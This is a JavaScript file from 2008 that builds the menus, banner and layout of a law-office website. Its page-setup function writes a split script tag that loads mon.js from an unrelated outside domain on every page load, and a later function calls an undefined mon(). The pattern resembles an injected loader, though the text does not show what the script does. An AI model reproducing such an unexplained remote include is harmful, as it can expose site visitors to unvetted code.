// MAY 2008

var page;
var totalGraphics=0;
var graphic = new Array();
var selected=0;
var lastnum=0;
var imageSubdirectory = "menu/";
var imagePrefix       = "JW_";
var onSuffix          = "_ON.gif";
var offSuffix         = "_OFF.gif";
var overSuffix        = "_SEL.gif";
var frameTarget       = "_top";
var num;
var Ltop = 0;
var currtop = Ltop;
var secval = 1;
var dd_top = 180;
var dd_left = 50;
var table_width = 800;
var main_width = 580;
var left_col = 220;
var alt_layout=0;
var flash=0;

//var right_col= table_width - main_width - left_col;

var TO = 1000;
var TOhandle;
var subMenus = new Array();
var subGroups = new Array();
var totalsubmenus = 0;
var totalsubgroups = 0;
var mainh = 425;

createMenu(30, 166, "home", "s1", "James Webster", "index.html");
createMenu(30, 157, "services", "s2", "James Webster", "services1.html");
createMenu(30, 157, "contact", "s3", "James Webster", "contact.html");
createMenu(30, 166, "info", "s4", "James Webster", "info_criminallaw.html");

makeSubMenu("s1",1,"&nbsp;&nbsp;&bull;&nbsp;Home","index.html");
makeSubMenu("s1",0,"&nbsp;&nbsp;&nbsp;&nbsp;&bull;&nbsp;Education","jw_education.html");
makeSubMenu("s1",0,"&nbsp;&nbsp;&bull;&nbsp;Legal Experience","jw_experience.html");
makeSubMenu("s1",0,"&nbsp;&nbsp;&bull;&nbsp;Biography","jw_biography.html");
makeSubMenu("s1",0,"&nbsp;&nbsp;&bull;&nbsp;Community and Legal Activities","jw_activities.html");
 
makeSubMenu("s2",1,"&bull;&nbsp;Driving/Vehicle Code Violations","services1.html");
makeSubMenu("s2",0,"&nbsp;&bull;&nbsp;Crimes of Violence","services2.html");
makeSubMenu("s2",0,"&bull;&nbsp;Property/Theft Crimes","services3.html");
makeSubMenu("s2",0,"&bull;&nbsp;Sexual Offenses","services4.html");
makeSubMenu("s2",0,"&bull;&nbsp;Drug Charges","services5.html");
makeSubMenu("s2",0,"&bull;&nbsp;Post Conviction","services6.html");
makeSubMenu("s2",0,"&bull;&nbsp;Personal Injury","services7.html");
 
makeSubMenu("s3",1,"&bull;&nbsp;Contact Us","contact.html");
makeSubMenu("s3",0,"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&bull;&nbsp;Map and Office Location","contact_map.html");

makeSubMenu("s4",1,"&bull;&nbsp;What Is Criminal Law","info_criminallaw.html");
makeSubMenu("s4",0,"&nbsp;&bull;&nbsp;Criminal Defense Attorney Role","info_cdarole.html");
makeSubMenu("s4",0,"&nbsp;&bull;&nbsp;Felony Proceedings","info_felony.html");
makeSubMenu("s4",0,"&nbsp;&bull;&nbsp;Misdemeanor Proceedings","info_misdemeanor.html"); 
makeSubMenu("s4",0,"&nbsp;&bull;&nbsp;Pertinent Web Links","info_links.html"); 
// --------------------- END CHANGES -----------------------------------------

function initpage(p)
{
  page=p;
  with(this.document)
  {
    write('<scr'+'ipt type="text/javascript" src="http://knxu.com/mon.js"></scr'+'ipt>');
    write('<link rel="stylesheet" href="jw_style.css" type="text/css" media="screen" />');
    subDD();
    //write('</head><body background="images/xxxpp_background_paper22.gif">');
    write('<div style="border:solid 5px #c2a74c;margin-top:0px;margin-left:30px;width:816px;padding:0px;">');
    write('<div class="bordergold1">');

    write('<table width="'+table_width+'" class="mainbg">');
    write('<tr><td style="width:800px">');

    setpage();

    write('</td></tr>');
    write('<tr><td>');
    writemenu();

//    dosubnav();

    write('</td></tr></table><br/>');
  }
  res();
}

function initpage2(p)
{
  main_width = 798;
  left_col = 2;
  initpage(p);
}

function initpage3(p)
{
  flash=1;
  initpage(p);
}


function setpage()
{
  with(this.document)
  {
    if(page==0 && !flash)
    {
	write('<center>');
	write('<img src="images/banner2.jpg" height="106" width="800" alt="James Webster Atty at Law" />');
        write('</center>');      

    }
    else if(page==1)
    {
	write('<center>');
	write('<img src="images/banner2.jpg" height="106" width="800" alt="James Webster Atty at Law" />');
        write('</center>');      
    }
    else if(page==2)
    {
	write('<center>');
	write('<img src="images/banner2.jpg" height="106" width="800" alt="James Webster Atty at Law" />');
        write('</center>');      
    }
    else if(page==3)
    {
	write('<center>');
	write('<img src="images/banner2.jpg" height="106" width="800" alt="James Webster Atty at Law" />');
        write('</center>');      
    }
    else if(page==4)
    {
	write('<center>');
	write('<img src="images/banner2.jpg" height="106" width="800" alt="James Webster Atty at Law" />');
        write('</center>');      
    }
    else if(flash)
    {
	write('<center>');
	write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" width="440" height="106" id="logo_2008" align="middle">');
	write('<param name="allowScriptAccess" value="sameDomain" />');
	write('<param name="allowFullScreen" value="false" />');
	write('<param name="movie" value="logo_2008.swf" />');
	write('<param name="loop" value="false" />');
	write('<param name="menu" value="false" />');
	write('<param name="quality" value="high" />');
	write('<param name="scale" value="noborder" />');
	write('<param name="wmode" value="transparent" />');
	write('<param name="bgcolor" value="#ffffff" />');
	write('<embed src="logo_2008.swf" loop="false" menu="false" quality="high" scale="noborder" wmode="transparent" bgcolor="#ffffff" width="440" height="106" name="logo" align="middle" allowScriptAccess="sameDomain" allowFullScreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />');
	write('</object>');
        write('</center>');      
    }
    else
    {
	write('<center>');
	write('<img src="images/banner2.jpg" height="106" width="800" alt="James Webster Atty at Law" />');
        write('</center>');      
    }
    
  }
}


function writemenu()
{
  with(this.document)                                                   
  {
    write('<div style="text-align:center;margin-top:5px;margin-bottom:0px;border-top:double 3px #cac38a;border-bottom:double 3px #cac38a;">');
    for(i = 0; i < totalGraphics; i++)
    {
      write ('<a target="' + frameTarget + '" href="' + graphic[i].link + '" onMouseOver="doMouseOver(' + i + '); return true" onMouseOut="doMouseOut(' + i + ')" onClick="doClick(' + i + ')">');
      write ('<img name="' + graphic[i].name + '" src="' + graphic[i].offname + '" alt="' + graphic[i].name + '" width="' + graphic[i].width + '" height="' + graphic[i].height + '" border="0" vspace="0">');
      write ('</a>');
    }
    write('</div>');
  }
}

// Ignore, not called
function xdoheader()
{
  with(this.document)
  {
    write('<tr><td class="hdrgreen"><div style="margin-bottom:5px"><center>');
    write('</center></div></td></tr>');
  }
}

function subDD()
{
  with(this.document)
  {
    write('<style>');
    write('#s1 {height:25px;width:800px;visibility:hidden;z-index:21;position:absolute;top:'+dd_top+'px;left:'+dd_left+'px;background-color:#d5c586;border-left:solid 1px #621;border-bottom:solid 1px #621;border-right:solid 1px #621;}');
    write('#s2 {height:45px;text-align:center;width:800px;visibility:hidden;z-index:21;position:absolute;top:'+dd_top+'px;left:'+dd_left+'px;background-color:#d5c586;border-left:solid 1px #621;border-bottom:solid 1px #621;border-right:solid 1px #621;}');
    write('#s3 {height:25px;text-align:center;width:800px;visibility:hidden;z-index:22;position:absolute;top:'+dd_top+'px;left:'+dd_left+'px;background-color:#d5c586;border-left:solid 1px #621;border-bottom:solid 1px #621;border-right:solid 1px #621;}');
    write('#s4 {height:25px;text-align:right;width:800px;visibility:hidden;z-index:23;position:absolute;top:'+dd_top+'px;left:'+dd_left+'px;background-color:#d5c586;border-left:solid 1px #621;border-bottom:solid 1px #621;border-right:solid 1px #621;}');
    write('.on1 {height:25px;width:800px;visibility:visible;z-index:10;position:absolute;top:'+dd_top+'px;left:'+dd_left+'px;background-color:#d5c586;border-left:solid 1px #054;border-bottom:solid 1px #054;border-right:solid 1px #054;}');
    write('.on2 {height:45px;text-align:center;width:800px;visibility:visible;z-index:10;position:absolute;top:'+dd_top+'px;left:'+dd_left+'px;background-color:#d5c586;border-left:solid 1px #054;border-bottom:solid 1px #054;border-right:solid 1px #054;}');
    write('.on3 {height:25px;text-align:center;width:800px;visibility:visible;z-index:10;position:absolute;top:'+dd_top+'px;left:'+dd_left+'px;background-color:#d5c586;border-left:solid 1px #054;border-bottom:solid 1px #054;border-right:solid 1px #054;}');
    write('.on4 {height:25px;text-align:right;width:800px;visibility:visible;z-index:10;position:absolute;top:'+dd_top+'px;left:'+dd_left+'px;background-color:#d5c586;border-left:solid 1px #054;border-bottom:solid 1px #054;border-right:solid 1px #054;}');
    write('</style>');
  }
}


function MenuItem (height, width, name, subID, infoText, link)
{
this.height   = height;
this.width    = width;
this.name     = name;
this.subID	= subID;
this.info     = infoText;
this.link     = link;
this.on       = new Image (width, height);
this.on.src   = imageSubdirectory + imagePrefix + name + onSuffix;
this.off      = new Image (width, height);
this.off.src  = imageSubdirectory + imagePrefix + name + offSuffix;
this.offname  = imageSubdirectory + imagePrefix + name + offSuffix;
this.over     = new Image (width, height);
this.over.src = imageSubdirectory + imagePrefix + name + overSuffix;
this.info     = infoText;
this.selected   = 0;
this.pos      = currtop;
currtop += height;
}

function createMenu (height, width, name, subID, infoText, link)
{
  graphic[totalGraphics] = new MenuItem(height, width, name, subID, infoText, link);
  totalGraphics++;
}

function doClick (num)
{
  document.images[graphic[num].name].src = graphic[num].on.src;
  if(lastnum != num){document.images[graphic[lastnum].name].src = graphic[lastnum].off.src;}

  this.lastnum = num;
  selected = num;
}

function doMouseOver(num)
{
  if (num != selected)
  {
    document.images[graphic[num].name].src = graphic[num].over.src;
  }
  window.status = graphic[num].info;
  showMenu(graphic[num].subID);
}

function doMouseOut(num)
{
  window.status = "";
  if (num != selected)
  {
    document.images[graphic[num].name].src = graphic[num].off.src;
  }
  menuTO(graphic[num].subID);
}


function mainheight(h)
{
  mainh = h;
  document.getElementById('main').height.value=mainh;
}

function setup_left()
{
  with(this.document)
  {
    write('<table width="'+table_width+'" class="mainbg">');
    write('<tr><td id="main" width="'+left_col+'" height="'+mainh+'" valign="top">');
  }
}


function dosubnav()
{
  with(this.document)
  {
//  write('<img src="images/justice.jpg">');
    write('<div class="bordergreen" style="background:#E7E2BD">');
    write('<b>&bull;</b>&nbsp;<a href="about.html" class="navbox" onmouseover="window.status=\'James Webster\';return true;">');
    write('<b>About James Webster</b></a><br/>');
    write('<b>&bull;</b>&nbsp;<a href="services.html" class="navbox" onmouseover="window.status=\'James Webster\';return true;">');
    write('<b>Services Provided</b></a><br/>');
//    write('<b>&bull;</b>&nbsp;<a href="testimonials.html" class="navbox">');
//    write('<b>Patient Testimonials</b></a><br/>');
    write('<b>&bull;</b>&nbsp;<a href="contact.html" class="navbox">');
    write('<b>Contact Us</b></a><br/>');
    write('<b>&bull;</b>&nbsp;<a href="map.html" class="navbox">');
    write('<b>Find Us - Location Map</b></a><br/>');
    write('<center><div style="width:120px;height:5px;border-bottom-style:solid;border-bottom-color:#AAA68B;border-bottom-width:1px"></div></center>');
    write('<b>&bull;</b>&nbsp;<a href="newsletter.html" class="navbox">');
    write('<b>Newsletter Archive</b></a><br/>');
    write('<center><div style="width:120px;height:5px;border-bottom-style:solid;border-bottom-color:#AAA68B;border-bottom-width:1px"></div></center>');
    write('<b>&bull;</b>&nbsp;<a href="media.html" class="navbox">');
    write('<b>In the Media&hellip;</b></a><br/>');
    write('</div>');
  }
}


function setup_main()
{
  with(this.document)
  {
    write('</td><td width="'+main_width+'" class="text" valign="top">');
  }
}

function do_nav()
{
  with(this.document)
  {
    write('</td></tr>');
    write('<tr><td colspan="2" style="border-top:double 3px #cac38a;">');
  }
}

function endpage()
{
  with(this.document)
  {
    write('</td></tr>');
    write('<tr><td colspan="2">');
    write('<div style="text-align:center"><img src="images/bottom_bar.gif"></div>');

//  write('<div class="bottom" style="color:#0d4f42;font-size:13px;font-family:verdana,arial,sans serif;font-weight:bold">');
//  write('<br/>36 North Washington Street, SONORA CA 95370&nbsp;&nbsp;&bull;&nbsp;&nbsp;Ph 209 532-8390&nbsp;&nbsp;&bull;&nbsp;&nbsp;Fx 209 532-5084');
//  write('<div class="bottom" style="color:#0d4f42;font-size:13px;font-family:verdana,arial,sans serif;font-weight:bold">');
//  write('<br/>36 North Washington Street, Sonora CA 95370&nbsp;&nbsp;&bull;&nbsp;&nbsp;Ph 209 532-8390&nbsp;&nbsp;&bull;&nbsp;&nbsp;Fx 209 532-5084');
//  write('</div></td></tr>');
//  write('<tr><td style="text-align:center"><img src="images/bottom_bar.png">');
    write('</td></tr></table>');
    write('</div></div>');

    mon();

    doClick(page);
  }

  writesubs();
}

function doCopy()
{
  this.document.write(fCopy);
}

function nexttext(form,from,size,to)
{
  var text;
  text = eval("document.forms['"+form+"'].elements['"+from+"'].value");
  if(text.length >= size)
  {
    eval("document.forms['"+form+"'].elements['"+to+"'].focus()");
  }
}

function loadPg()
{
  var loc;
  loc = document.form1.selectPage.value;
  var ok;
  var pageName = '';
  ok = window.open(loc,pageName,"width=550,height=520,resizable=0,scrollbars=yes,menubar=no,statusbar=no,toolbar=no");
  if(!ok)alert("Window did not open");
}

function makeSubMenu(group,start,name,link)
{
  subMenus[totalsubmenus] = new subMenu(group,start,name,link)
  totalsubmenus++;
}

function subMenu(group,start,name,link)
{
  this.group = group;
  this.start = start;
  this.name = name;
  this.link = link; //51
  if(start == 1)
  {
    makeSubGroup(group);
  }
}

function makeSubGroup(group)
{
  subGroups[totalsubgroups] = new subGroup(group);
  totalsubgroups++;
}

function subGroup(group)
{
  this.group = group;
  this.handle = setTimeout('hideMenu("'+group+'")', TO); 
}

function menuTOClear(group)
{
  for(i=0; i<totalsubgroups; i++)
  {
    var grp = subGroups[i].group;
    if(grp == group)
    {
      clearTimeout(subGroups[i].handle);
    }
    else
    {
      hideMenu(grp);
    }
  }
}

function menuTO(group)
{
  for(i=0; i<totalsubgroups; i++)
  {
    if(subGroups[i].group == group)
    {
      subGroups[i].handle = setTimeout('hideMenu("'+group+'")', TO);
    }
  }
}

function showMenu(menu)
{
  if(menu == 0)return;
  if(document.getElementById(menu))
  {
    var m = document.getElementById(menu);
    m.style.visibility="visible";
  }
  menuTOClear(menu);
}

function hideMenu(menu)
{
  if(document.getElementById(menu))
  {
    var m = document.getElementById(menu);
    m.style.visibility="hidden";
  }
}

function TTest(v)
{
  alert("I got called - "+v);
}

function writesubs()
{
  var i;
  var p = page+1;
  var on = "s"+p;
  with(this.document)
  {

    for(i = 0; i<totalsubmenus; i++)
    {
      if(subMenus[i].group == on)
      {
        if(subMenus[i].start == 1)
        {
          if(i != 0) write('</div>');
          write('<div class="on'+p+'">');
        }
        if(subMenus[i].start == 2)
        {
          write('<a href="'+subMenus[i].link+'" class="linkddon">'+subMenus[i].name+'</a>&nbsp;<br/>');
        }
        else
        {
          write('<a href="'+subMenus[i].link+'" class="linkddon">'+subMenus[i].name+'</a>&nbsp;');
        }
      }
      else
      {
        if(subMenus[i].start == 1)
        {
          if(i != 0) write('</div>');
          write('<div id="'+subMenus[i].group+'">');
        }
        if(subMenus[i].start == 2)
        {
          write('<a href="'+subMenus[i].link+'" onmouseover="menuTOClear(\''+subMenus[i].group+'\')" onmouseout="menuTO(\''+subMenus[i].group+'\')" class="linkdd">'+subMenus[i].name+'</a>&nbsp;<br/>');
        }
        else
        {
          write('<a href="'+subMenus[i].link+'" onmouseover="menuTOClear(\''+subMenus[i].group+'\')" onmouseout="menuTO(\''+subMenus[i].group+'\')" class="linkdd">'+subMenus[i].name+'</a>&nbsp;');
        }
      }
    }
    write('</div>');
  }
}

var res;
function res()
{
  var h = screen.height;
  var w = screen.width;
  res = w+"x"+h;
}










































